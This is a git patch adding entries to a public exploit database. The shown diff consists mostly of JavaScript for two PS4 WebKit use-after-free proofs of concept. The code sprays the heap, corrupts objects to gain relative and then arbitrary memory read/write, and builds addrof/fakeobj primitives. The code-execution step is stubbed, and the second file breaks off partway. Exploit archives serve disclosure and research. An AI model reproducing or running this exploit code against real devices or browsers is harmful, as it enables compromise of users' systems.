From cd30696d1528161ae6860bf7aa89dffddc62e860 Mon Sep 17 00:00:00 2001
From: Offensive Security
Date: Tue, 22 Dec 2020 05:01:58 +0000
Subject: [PATCH] DB: 2020-12-22
15 changes to exploits/shellcodes
Queue Management System 4.0.0 - _Add User_ Stored XSS
Spotweb 1.4.9 - 'search' SQL Injection
Academy-LMS 4.3 - Stored XSS
Spiceworks 7.5 - HTTP Header Injection
Wordpress Plugin Contact Form 7 5.3.1 - Unrestricted File Upload
SCO Openserver 5.0.7 - 'section' Reflected XSS
SCO Openserver 5.0.7 - 'outputform' Command Injection
Flexmonster Pivot Table & Charts 2.7.17 - 'Remote Report' Reflected XSS
Flexmonster Pivot Table & Charts 2.7.17 - 'To OLAP' Reflected XSS
Flexmonster Pivot Table & Charts 2.7.17 - 'To remote CSV' Reflected XSS
Flexmonster Pivot Table & Charts 2.7.17 - 'Remote JSON' Reflected XSS
Point of Sale System 1.0 - Multiple Stored XSS
Online Marriage Registration System 1.0 - 'searchdata' SQL Injection
Sony Playstation 4 (PS4) < 6.72 - 'ValidationMessage::buildBubbleTree()' Use-After-Free WebKit Code Execution (PoC)
Sony Playstation 4 (PS4) < 7.02 - 'ValidationMessage::buildBubbleTree()' Use-After-Free WebKit Code Execution (PoC)
---
exploits/hardware/webapps/49308.js | 422 +++++++++++++++++++++++
exploits/hardware/webapps/49309.js | 513 ++++++++++++++++++++++++++++
exploits/multiple/webapps/49297.txt | 18 +
exploits/multiple/webapps/49298.txt | 15 +
exploits/multiple/webapps/49302.txt | 15 +
exploits/multiple/webapps/49303.txt | 15 +
exploits/multiple/webapps/49304.txt | 15 +
exploits/multiple/webapps/49305.txt | 15 +
exploits/php/webapps/49294.txt | 37 ++
exploits/php/webapps/49296.txt | 20 ++
exploits/php/webapps/49306.txt | 18 +
exploits/php/webapps/49307.txt | 91 +++++
exploits/sco/webapps/49300.txt | 128 +++++++
exploits/sco/webapps/49301.txt | 51 +++
exploits/windows/webapps/49299.txt | 352 +++++++++++++++++++
files_exploits.csv | 15 +
16 files changed, 1740 insertions(+)
create mode 100644 exploits/hardware/webapps/49308.js
create mode 100644 exploits/hardware/webapps/49309.js
create mode 100644 exploits/multiple/webapps/49297.txt
create mode 100644 exploits/multiple/webapps/49298.txt
create mode 100644 exploits/multiple/webapps/49302.txt
create mode 100644 exploits/multiple/webapps/49303.txt
create mode 100644 exploits/multiple/webapps/49304.txt
create mode 100644 exploits/multiple/webapps/49305.txt
create mode 100644 exploits/php/webapps/49294.txt
create mode 100644 exploits/php/webapps/49296.txt
create mode 100644 exploits/php/webapps/49306.txt
create mode 100644 exploits/php/webapps/49307.txt
create mode 100644 exploits/sco/webapps/49300.txt
create mode 100644 exploits/sco/webapps/49301.txt
create mode 100644 exploits/windows/webapps/49299.txt
diff --git a/exploits/hardware/webapps/49308.js b/exploits/hardware/webapps/49308.js
new file mode 100644
index 000000000..2c56cc78b
--- /dev/null
+++ b/exploits/hardware/webapps/49308.js
@@ -0,0 +1,422 @@
+const OFFSET_ELEMENT_REFCOUNT = 0x10;
+const OFFSET_JSAB_VIEW_VECTOR = 0x10;
+const OFFSET_JSAB_VIEW_LENGTH = 0x18;
+const OFFSET_LENGTH_STRINGIMPL = 0x04;
+const OFFSET_HTMLELEMENT_REFCOUNT = 0x14;
+
+const LENGTH_ARRAYBUFFER = 0x8;
+const LENGTH_STRINGIMPL = 0x14;
+const LENGTH_JSVIEW = 0x20;
+const LENGTH_VALIDATION_MESSAGE = 0x30;
+const LENGTH_TIMER = 0x48;
+const LENGTH_HTMLTEXTAREA = 0xd8;
+
+const SPRAY_ELEM_SIZE = 0x6000;
+const SPRAY_STRINGIMPL = 0x1000;
+
+const NB_FRAMES = 0xfa0;
+const NB_REUSE = 0x8000;
+
+var g_arr_ab_1 = [];
+var g_arr_ab_2 = [];
+var g_arr_ab_3 = [];
+
+var g_frames = [];
+
+var g_relative_read = null;
+var g_relative_rw = null;
+var g_ab_slave = null;
+var g_ab_index = null;
+
+var g_timer_leak = null;
+var g_jsview_leak = null;
+var g_message_heading_leak = null;
+var g_message_body_leak = null;
+
+var g_obj_str = {};
+
+var g_rows1 = '1px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "1px";
+var g_rows2 = '2px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "2px";
+
+var g_round = 1;
+var g_input = null;
+
+var guess_htmltextarea_addr = new Int64("0x2070a00d8");
+
+
+/* Executed after deleteBubbleTree */
+function setupRW() {
+ /* Now the m_length of the JSArrayBufferView should be 0xffffff01 */
+ for (let i = 0; i < g_arr_ab_3.length; i++) {
+ if (g_arr_ab_3[i].length > 0xff) {
+ g_relative_rw = g_arr_ab_3[i];
+ debug_log("[+] Succesfully got a relative R/W");
+ break;
+ }
+ }
+ if (g_relative_rw === null)
+ die("[!] Failed to setup a relative R/W primitive");
+
+ debug_log("[+] Setting up arbitrary R/W");
+
+ /* Retrieving the ArrayBuffer address using the relative read */
+ let diff = g_jsview_leak.sub(g_timer_leak).low32() - LENGTH_STRINGIMPL + 1;
+ let ab_addr = new Int64(str2array(g_relative_read, 8, diff + OFFSET_JSAB_VIEW_VECTOR));
+
+ /* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */
+ let ab_index = g_jsview_leak.sub(ab_addr).low32();
+ if (g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH] === LENGTH_ARRAYBUFFER)
+ g_ab_index = ab_index + LENGTH_JSVIEW;
+ else
+ g_ab_index = ab_index - LENGTH_JSVIEW;
+
+ /* Overding the length of one JSArrayBufferView with a known value */
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0x41;
+
+ /* Looking for the slave JSArrayBufferView */
+ for (let i = 0; i < g_arr_ab_3.length; i++) {
+ if (g_arr_ab_3[i].length === 0x41) {
+ g_ab_slave = g_arr_ab_3[i];
+ g_arr_ab_3 = null;
+ break;
+ }
+ }
+ if (g_ab_slave === null)
+ die("[!] Didn't found the slave JSArrayBufferView");
+
+ /* Extending the JSArrayBufferView length */
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0xff;
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 1] = 0xff;
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 2] = 0xff;
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 3] = 0xff;
+
+ debug_log("[+] Testing arbitrary R/W");
+
+ let saved_vtable = read64(guess_htmltextarea_addr);
+ write64(guess_htmltextarea_addr, new Int64("0x4141414141414141"));
+ if (!read64(guess_htmltextarea_addr).equals("0x4141414141414141"))
+ die("[!] Failed to setup arbitrary R/W primitive");
+
+ debug_log("[+] Succesfully got arbitrary R/W!");
+
+ /* Restore the overidden vtable pointer */
+ write64(guess_htmltextarea_addr, saved_vtable);
+
+ /* Cleanup memory */
+ cleanup();
+
+ /* Getting code execution */
+ /* ... */
+}
+
+function read(addr, length) {
+ for (let i = 0; i < 8; i++)
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
+ let arr = [];
+ for (let i = 0; i < length; i++)
+ arr.push(g_ab_slave[i]);
+ return arr;
+}
+
+function read64(addr) {
+ return new Int64(read(addr, 8));
+}
+
+function write(addr, data) {
+ for (let i = 0; i < 8; i++)
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
+ for (let i = 0; i < data.length; i++)
+ g_ab_slave[i] = data[i];
+}
+
+function write64(addr, data) {
+ write(addr, data.bytes());
+}
+
+function cleanup() {
+ select1.remove();
+ select1 = null;
+ input1.remove();
+ input1 = null;
+ input2.remove();
+ input2 = null;
+ input3.remove();
+ input3 = null;
+ div1.remove();
+ div1 = null;
+ g_input = null;
+ g_rows1 = null;
+ g_rows2 = null;
+ g_frames = null;
+}
+
+/*
+ * Executed after buildBubbleTree
+ * and before deleteBubbleTree
+ */
+function confuseTargetObjRound2() {
+ if (findTargetObj() === false)
+ die("[!] Failed to reuse target obj.");
+
+ g_fake_validation_message[4] = g_jsview_leak.add(OFFSET_JSAB_VIEW_LENGTH + 5 - OFFSET_HTMLELEMENT_REFCOUNT).asDouble();
+
+ setTimeout(setupRW, 6000);
+}
+
+
+/* Executed after deleteBubbleTree */
+function leakJSC() {
+ debug_log("[+] Looking for the smashed StringImpl...");
+
+ var arr_str = Object.getOwnPropertyNames(g_obj_str);
+
+ /* Looking for the smashed string */
+ for (let i = arr_str.length - 1; i > 0; i--) {
+ if (arr_str[i].length > 0xff) {
+ debug_log("[+] StringImpl corrupted successfully");
+ g_relative_read = arr_str[i];
+ g_obj_str = null;
+ break;
+ }
+ }
+ if (g_relative_read === null)
+ die("[!] Failed to setup a relative read primitive");
+
+ debug_log("[+] Got a relative read");
+
+ let ab = new ArrayBuffer(LENGTH_ARRAYBUFFER);
+
+ /* Spraying JSView */
+ let tmp = [];
+ for (let i = 0; i < 0x10000; i++) {
+ /* The last allocated are more likely to be allocated after our relative read */
+ if (i >= 0xfc00)
+ g_arr_ab_3.push(new Uint8Array(ab));
+ else
+ tmp.push(new Uint8Array(ab));
+ }
+ tmp = null;
+
+ /*
+ * Force JSC ref on FastMalloc Heap
+ * https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151
+ */
+ var props = [];
+ for (var i = 0; i < 0x400; i++) {
+ props.push({ value: 0x42424242 });
+ props.push({ value: g_arr_ab_3[i] });
+ }
+
+ /*
+ * /!\
+ * This part must avoid as much as possible fastMalloc allocation
+ * to avoid re-using the targeted object
+ * /!\
+ */
+ /* Use relative read to find our JSC obj */
+ /* We want a JSView that is allocated after our relative read */
+ while (g_jsview_leak === null) {
+ Object.defineProperties({}, props);
+ for (let i = 0; i < 0x800000; i++) {
+ var v = undefined;
+ if (g_relative_read.charCodeAt(i) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x01) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x02) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x03) === 0x42) {
+ if (g_relative_read.charCodeAt(i + 0x08) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x0f) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x10) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x17) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x18) === 0x0e &&
+ g_relative_read.charCodeAt(i + 0x1f) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x28) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x2f) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x30) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x37) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x38) === 0x0e &&
+ g_relative_read.charCodeAt(i + 0x3f) === 0x00)
+ v = new Int64(str2array(g_relative_read, 8, i + 0x20));
+ else if (g_relative_read.charCodeAt(i + 0x10) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x11) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x12) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x13) === 0x42)
+ v = new Int64(str2array(g_relative_read, 8, i + 8));
+ }
+ if (v !== undefined && v.greater(g_timer_leak) && v.sub(g_timer_leak).hi32() === 0x0) {
+ g_jsview_leak = v;
+ props = null;
+ break;
+ }
+ }
+ }
+ /*
+ * /!\
+ * Critical part ended-up here
+ * /!\
+ */
+
+ debug_log("[+] JSArrayBufferView: " + g_jsview_leak);
+
+ /* Run the exploit again */
+ prepareUAF();
+}
+
+/*
+ * Executed after buildBubbleTree
+ * and before deleteBubbleTree
+ */
+function confuseTargetObjRound1() {
+ /* Force allocation of StringImpl obj. beyond Timer address */
+ sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2);
+
+ /* Checking for leaked data */
+ if (findTargetObj() === false)
+ die("[!] Failed to reuse target obj.");
+
+ dumpTargetObj();
+
+ g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble();
+
+ /*
+ * The timeout must be > 5s because deleteBubbleTree is scheduled to run in
+ * the next 5s
+ */
+ setTimeout(leakJSC, 6000);
+}
+
+function handle2() {
+ /* focus elsewhere */
+ input2.focus();
+}
+
+function reuseTargetObj() {
+ /* Delete ValidationMessage instance */
+ document.body.appendChild(g_input);
+
+ /*
+ * Free ValidationMessage neighboors.
+ * SmallLine is freed -> SmallPage is cached
+ */
+ for (let i = NB_FRAMES / 2 - 0x10; i < NB_FRAMES / 2 + 0x10; i++)
+ g_frames[i].setAttribute("rows", ',');
+
+ /* Get back target object */
+ for (let i = 0; i < NB_REUSE; i++) {
+ let ab = new ArrayBuffer(LENGTH_VALIDATION_MESSAGE);
+ let view = new Float64Array(ab);
+
+ view[0] = guess_htmltextarea_addr.asDouble(); // m_element
+ view[3] = guess_htmltextarea_addr.asDouble(); // m_bubble
+
+ g_arr_ab_1.push(view);
+ }
+
+ if (g_round == 1) {
+ /*
+ * Spray a couple of StringImpl obj. prior to Timer allocation
+ * This will force Timer allocation on same SmallPage as our Strings
+ */
+ sprayStringImpl(0, SPRAY_STRINGIMPL);
+
+ g_frames = [];
+ g_round += 1;
+ g_input = input3;
+
+ setTimeout(confuseTargetObjRound1, 10);
+ } else {
+ setTimeout(confuseTargetObjRound2, 10);
+ }
+}
+
+function dumpTargetObj() {
+ debug_log("[+] m_timer: " + g_timer_leak);
+ debug_log("[+] m_messageHeading: " + g_message_heading_leak);
+ debug_log("[+] m_messageBody: " + g_message_body_leak);
+}
+
+function findTargetObj() {
+ for (let i = 0; i < g_arr_ab_1.length; i++) {
+ if (!Int64.fromDouble(g_arr_ab_1[i][2]).equals(Int64.Zero)) {
+ debug_log("[+] Found fake ValidationMessage");
+
+ if (g_round === 2) {
+ g_timer_leak = Int64.fromDouble(g_arr_ab_1[i][2]);
+ g_message_heading_leak = Int64.fromDouble(g_arr_ab_1[i][4]);
+ g_message_body_leak = Int64.fromDouble(g_arr_ab_1[i][5]);
+ g_round++;
+ }
+
+ g_fake_validation_message = g_arr_ab_1[i];
+ g_arr_ab_1 = [];
+ return true;
+ }
+ }
+ return false;
+}
+
+function prepareUAF() {
+ g_input.setCustomValidity("ps4");
+
+ for (let i = 0; i < NB_FRAMES; i++) {
+ var element = document.createElement("frameset");
+ g_frames.push(element);
+ }
+
+ g_input.reportValidity();
+ var div = document.createElement("div");
+ document.body.appendChild(div);
+ div.appendChild(g_input);
+
+ /* First half spray */
+ for (let i = 0; i < NB_FRAMES / 2; i++)
+ g_frames[i].setAttribute("rows", g_rows1);
+
+ /* Instantiate target obj */
+ g_input.reportValidity();
+
+ /* ... and the second half */
+ for (let i = NB_FRAMES / 2; i < NB_FRAMES; i++)
+ g_frames[i].setAttribute("rows", g_rows2);
+
+ g_input.setAttribute("onfocus", "reuseTargetObj()");
+ g_input.autofocus = true;
+}
+
+/* HTMLElement spray */
+function sprayHTMLTextArea() {
+ debug_log("[+] Spraying HTMLTextareaElement ...");
+
+ let textarea_div_elem = document.createElement("div");
+ document.body.appendChild(textarea_div_elem);
+ textarea_div_elem.id = "div1";
+ var element = document.createElement("textarea");
+
+ /* Add a style to avoid textarea display */
+ element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;';
+
+ /*
+ * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc
+ * allocation of the node attributes and an IsoHeap allocation of the
+ * Element. The virtual page layout will look something like that:
+ * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...]
+ */
+ for (let i = 0; i < SPRAY_ELEM_SIZE; i++)
+ textarea_div_elem.appendChild(element.cloneNode());
+}
+
+/* StringImpl Spray */
+function sprayStringImpl(start, end) {
+ for (let i = start; i < end; i++) {
+ let s = new String("A".repeat(LENGTH_TIMER - LENGTH_STRINGIMPL - 5) + i.toString().padStart(5, "0"));
+ g_obj_str[s] = 0x1337;
+ }
+}
+
+function go() {
+ /* Init spray */
+ sprayHTMLTextArea();
+
+ g_input = input1;
+ /* Shape heap layout for obj. reuse */
+ prepareUAF();
+}
\ No newline at end of file
diff --git a/exploits/hardware/webapps/49309.js b/exploits/hardware/webapps/49309.js
new file mode 100644
index 000000000..2cfb8f361
--- /dev/null
+++ b/exploits/hardware/webapps/49309.js
@@ -0,0 +1,513 @@
+const OFFSET_ELEMENT_REFCOUNT = 0x10;
+const OFFSET_JSAB_VIEW_VECTOR = 0x10;
+const OFFSET_JSAB_VIEW_LENGTH = 0x18;
+const OFFSET_LENGTH_STRINGIMPL = 0x04;
+const OFFSET_HTMLELEMENT_REFCOUNT = 0x14;
+
+const LENGTH_ARRAYBUFFER = 0x8;
+const LENGTH_STRINGIMPL = 0x14;
+const LENGTH_JSVIEW = 0x20;
+const LENGTH_VALIDATION_MESSAGE = 0x30;
+const LENGTH_TIMER = 0x48;
+const LENGTH_HTMLTEXTAREA = 0xd8;
+
+const SPRAY_ELEM_SIZE = 0x6000;
+const SPRAY_STRINGIMPL = 0x1000;
+
+const NB_FRAMES = 0xfa0;
+const NB_REUSE = 0x8000;
+
+var g_arr_ab_1 = [];
+var g_arr_ab_2 = [];
+var g_arr_ab_3 = [];
+
+var g_frames = [];
+
+var g_relative_read = null;
+var g_relative_rw = null;
+var g_ab_slave = null;
+var g_ab_index = null;
+
+var g_timer_leak = null;
+var g_jsview_leak = null;
+var g_jsview_butterfly = null;
+var g_message_heading_leak = null;
+var g_message_body_leak = null;
+
+var g_obj_str = {};
+
+var g_rows1 = '1px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "1px";
+var g_rows2 = '2px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "2px";
+
+var g_round = 1;
+var g_input = null;
+
+var guess_htmltextarea_addr = new Int64("0x2031b00d8");
+
+var master_b = new Uint32Array(2);
+var slave_b = new Uint32Array(2);
+var slave_addr;
+var slave_buf_addr;
+var master_addr;
+
+
+/* Executed after deleteBubbleTree */
+function setupRW() {
+ /* Now the m_length of the JSArrayBufferView should be 0xffffff01 */
+ for (let i = 0; i < g_arr_ab_3.length; i++) {
+ if (g_arr_ab_3[i].length > 0xff) {
+ g_relative_rw = g_arr_ab_3[i];
+ debug_log("[+] Succesfully got a relative R/W");
+ break;
+ }
+ }
+ if (g_relative_rw === null)
+ die("[!] Failed to setup a relative R/W primitive");
+
+ debug_log("[+] Setting up arbitrary R/W");
+
+ /* Retrieving the ArrayBuffer address using the relative read */
+ let diff = g_jsview_leak.sub(g_timer_leak).low32() - LENGTH_STRINGIMPL + 1;
+ let ab_addr = new Int64(str2array(g_relative_read, 8, diff + OFFSET_JSAB_VIEW_VECTOR));
+
+ /* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */
+ let ab_index = g_jsview_leak.sub(ab_addr).low32();
+ if (g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH] === LENGTH_ARRAYBUFFER)
+ g_ab_index = ab_index + LENGTH_JSVIEW;
+ else
+ g_ab_index = ab_index - LENGTH_JSVIEW;
+
+ /* Overding the length of one JSArrayBufferView with a known value */
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0x41;
+
+ /* Looking for the slave JSArrayBufferView */
+ for (let i = 0; i < g_arr_ab_3.length; i++) {
+ if (g_arr_ab_3[i].length === 0x41) {
+ g_ab_slave = g_arr_ab_3[i];
+ g_arr_ab_3 = null;
+ break;
+ }
+ }
+ if (g_ab_slave === null)
+ die("[!] Didn't found the slave JSArrayBufferView");
+
+ /* Extending the JSArrayBufferView length */
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0xff;
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 1] = 0xff;
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 2] = 0xff;
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 3] = 0xff;
+
+ debug_log("[+] Testing arbitrary R/W");
+
+ let saved_vtable = read64(guess_htmltextarea_addr);
+ write64(guess_htmltextarea_addr, new Int64("0x4141414141414141"));
+ if (!read64(guess_htmltextarea_addr).equals("0x4141414141414141"))
+ die("[!] Failed to setup arbitrary R/W primitive");
+
+ debug_log("[+] Succesfully got arbitrary R/W!");
+
+ /* Restore the overidden vtable pointer */
+ write64(guess_htmltextarea_addr, saved_vtable);
+
+ /* Cleanup memory */
+ cleanup();
+
+ /* Set up addrof/fakeobj primitives */
+ g_ab_slave.leakme = 0x1337;
+ var bf = 0;
+ for(var i = 15; i >= 8; i--)
+ bf = 256 * bf + g_relative_rw[g_ab_index + i];
+ g_jsview_butterfly = new Int64(bf);
+ if(!read64(g_jsview_butterfly.sub(16)).equals(new Int64("0xffff000000001337")))
+ die("[!] Failed to setup addrof/fakeobj primitives");
+ debug_log("[+] Succesfully got addrof/fakeobj");
+
+ /* Getting code execution */
+ /* ... */
+ var leak_slave = addrof(slave_b);
+ var slave_addr = read64(leak_slave.add(0x10));
+
+ og_slave_addr = new int64(slave_addr.low32(), slave_addr.hi32());
+ var leak_master = addrof(master_b);
+ write64(leak_master.add(0x10), leak_slave.add(0x10));
+ var prim = {
+ write8: function(addr, val) {
+ master_b[0] = addr.low;
+ master_b[1] = addr.hi;
+
+ if(val instanceof int64) {
+ slave_b[0] = val.low;
+ slave_b[1] = val.hi;
+ }
+ else {
+ slave_b[0] = val;
+ slave_b[1] = 0;
+ }
+
+ master_b[0] = og_slave_addr.low;
+ master_b[1] = og_slave_addr.hi;
+ },
+ write4: function(addr, val) {
+ master_b[0] = addr.low;
+ master_b[1] = addr.hi;
+
+ slave_b[0] = val;
+
+ master_b[0] = og_slave_addr.low;
+ master_b[1] = og_slave_addr.hi;
+ },
+ read8: function(addr) {
+ master_b[0] = addr.low;
+ master_b[1] = addr.hi;
+ var r = new int64(slave_b[0], slave_b[1]);
+ master_b[0] = og_slave_addr.low;
+ master_b[1] = og_slave_addr.hi;
+ return r;
+ },
+ read4: function(addr) {
+ master_b[0] = addr.low;
+ master_b[1] = addr.hi;
+ var r = slave_b[0];
+ master_b[0] = og_slave_addr.low;
+ master_b[1] = og_slave_addr.hi;
+ return r;
+ },
+ leakval: function(val) {
+ g_ab_slave.leakme = val;
+ master_b[0] = g_jsview_butterfly.low32() - 0x10;
+ master_b[1] = g_jsview_butterfly.hi32();
+ var r = new int64(slave_b[0], slave_b[1]);
+ master_b[0] = og_slave_addr.low;
+ master_b[1] = og_slave_addr.hi;
+ return r;
+ },
+ };
+ window.prim = prim;
+ setTimeout(stage2, 1000);
+}
+
+function read(addr, length) {
+ for (let i = 0; i < 8; i++)
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
+ let arr = [];
+ for (let i = 0; i < length; i++)
+ arr.push(g_ab_slave[i]);
+ return arr;
+}
+
+function read64(addr) {
+ return new Int64(read(addr, 8));
+}
+
+function write(addr, data) {
+ for (let i = 0; i < 8; i++)
+ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
+ for (let i = 0; i < data.length; i++)
+ g_ab_slave[i] = data[i];
+}
+
+function write64(addr, data) {
+ write(addr, data.bytes());
+}
+
+function addrof(obj) {
+ g_ab_slave.leakme = obj;
+ return read64(g_jsview_butterfly.sub(16));
+}
+
+function fakeobj(addr) {
+ write64(g_jsview_butterfly.sub(16), addr);
+ return g_ab_slave.leakme;
+}
+
+function cleanup() {
+ select1.remove();
+ select1 = null;
+ input1.remove();
+ input1 = null;
+ input2.remove();
+ input2 = null;
+ input3.remove();
+ input3 = null;
+ div1.remove();
+ div1 = null;
+ g_input = null;
+ g_rows1 = null;
+ g_rows2 = null;
+ g_frames = null;
+}
+
+/*
+ * Executed after buildBubbleTree
+ * and before deleteBubbleTree
+ */
+function confuseTargetObjRound2() {
+ if (findTargetObj() === false)
+ die("[!] Failed to reuse target obj.");
+
+ g_fake_validation_message[4] = g_jsview_leak.add(OFFSET_JSAB_VIEW_LENGTH + 5 - OFFSET_HTMLELEMENT_REFCOUNT).asDouble();
+
+ setTimeout(setupRW, 6000);
+}
+
+
+/* Executed after deleteBubbleTree */
+function leakJSC() {
+ debug_log("[+] Looking for the smashed StringImpl...");
+
+ var arr_str = Object.getOwnPropertyNames(g_obj_str);
+
+ /* Looking for the smashed string */
+ for (let i = arr_str.length - 1; i > 0; i--) {
+ if (arr_str[i].length > 0xff) {
+ debug_log("[+] StringImpl corrupted successfully");
+ g_relative_read = arr_str[i];
+ g_obj_str = null;
+ break;
+ }
+ }
+ if (g_relative_read === null)
+ die("[!] Failed to setup a relative read primitive");
+
+ debug_log("[+] Got a relative read");
+
+ var tmp_spray = {};
+ for(var i = 0; i < 100000; i++)
+ tmp_spray['Z'.repeat(8 * 2 * 8 - 5 - LENGTH_STRINGIMPL) + (''+i).padStart(5, '0')] = 0x1337;
+
+ let ab = new ArrayBuffer(LENGTH_ARRAYBUFFER);
+
+ /* Spraying JSView */
+ let tmp = [];
+ for (let i = 0; i < 0x10000; i++) {
+ /* The last allocated are more likely to be allocated after our relative read */
+ if (i >= 0xfc00)
+ g_arr_ab_3.push(new Uint8Array(ab));
+ else
+ tmp.push(new Uint8Array(ab));
+ }
+ tmp = null;
+
+ /*
+ * Force JSC ref on FastMalloc Heap
+ * https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151
+ */
+ var props = [];
+ for (var i = 0; i < 0x400; i++) {
+ props.push({ value: 0x42424242 });
+ props.push({ value: g_arr_ab_3[i] });
+ }
+
+ /*
+ * /!\
+ * This part must avoid as much as possible fastMalloc allocation
+ * to avoid re-using the targeted object
+ * /!\
+ */
+ /* Use relative read to find our JSC obj */
+ /* We want a JSView that is allocated after our relative read */
+ while (g_jsview_leak === null) {
+ Object.defineProperties({}, props);
+ for (let i = 0; i < 0x800000; i++) {
+ var v = undefined;
+ if (g_relative_read.charCodeAt(i) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x01) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x02) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x03) === 0x42) {
+ if (g_relative_read.charCodeAt(i + 0x08) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x0f) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x10) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x17) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x18) === 0x0e &&
+ g_relative_read.charCodeAt(i + 0x1f) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x28) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x2f) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x30) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x37) === 0x00 &&
+ g_relative_read.charCodeAt(i + 0x38) === 0x0e &&
+ g_relative_read.charCodeAt(i + 0x3f) === 0x00)
+ v = new Int64(str2array(g_relative_read, 8, i + 0x20));
+ else if (g_relative_read.charCodeAt(i + 0x10) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x11) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x12) === 0x42 &&
+ g_relative_read.charCodeAt(i + 0x13) === 0x42)
+ v = new Int64(str2array(g_relative_read, 8, i + 8));
+ }
+ if (v !== undefined && v.greater(g_timer_leak) && v.sub(g_timer_leak).hi32() === 0x0) {
+ g_jsview_leak = v;
+ props = null;
+ break;
+ }
+ }
+ }
+ /*
+ * /!\
+ * Critical part ended-up here
+ * /!\
+ */
+
+ debug_log("[+] JSArrayBufferView: " + g_jsview_leak);
+
+ /* Run the exploit again */
+ prepareUAF();
+}
+
+/*
+ * Executed after buildBubbleTree
+ * and before deleteBubbleTree
+ */
+function confuseTargetObjRound1() {
+ /* Force allocation of StringImpl obj. beyond Timer address */
+ sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2);
+
+ /* Checking for leaked data */
+ if (findTargetObj() === false)
+ die("[!] Failed to reuse target obj.");
+
+ dumpTargetObj();
+
+ g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble();
+
+ /*
+ * The timeout must be > 5s because deleteBubbleTree is scheduled to run in
+ * the next 5s
+ */
+ setTimeout(leakJSC, 6000);
+}
+
+function handle2() {
+ /* focus elsewhere */
+ input2.focus();
+}
+
+function reuseTargetObj() {
+ /* Delete ValidationMessage instance */
+ document.body.appendChild(g_input);
+
+ /*
+ * Free ValidationMessage neighboors.
+ * SmallLine is freed -> SmallPage is cached
+ */
+ for (let i = NB_FRAMES / 2 - 0x10; i < NB_FRAMES / 2 + 0x10; i++)
+ g_frames[i].setAttribute("rows", ',');
+
+ /* Get back target object */
+ for (let i = 0; i < NB_REUSE; i++) {
+ let ab = new ArrayBuffer(LENGTH_VALIDATION_MESSAGE);
+ let view = new Float64Array(ab);
+
+ view[0] = guess_htmltextarea_addr.asDouble(); // m_element
+ view[3] = guess_htmltextarea_addr.asDouble(); // m_bubble
+
+ g_arr_ab_1.push(view);
+ }
+
+ if (g_round == 1) {
+ /*
+ * Spray a couple of StringImpl obj. prior to Timer allocation
+ * This will force Timer allocation on same SmallPage as our Strings
+ */
+ sprayStringImpl(0, SPRAY_STRINGIMPL);
+
+ g_frames = [];
+ g_round += 1;
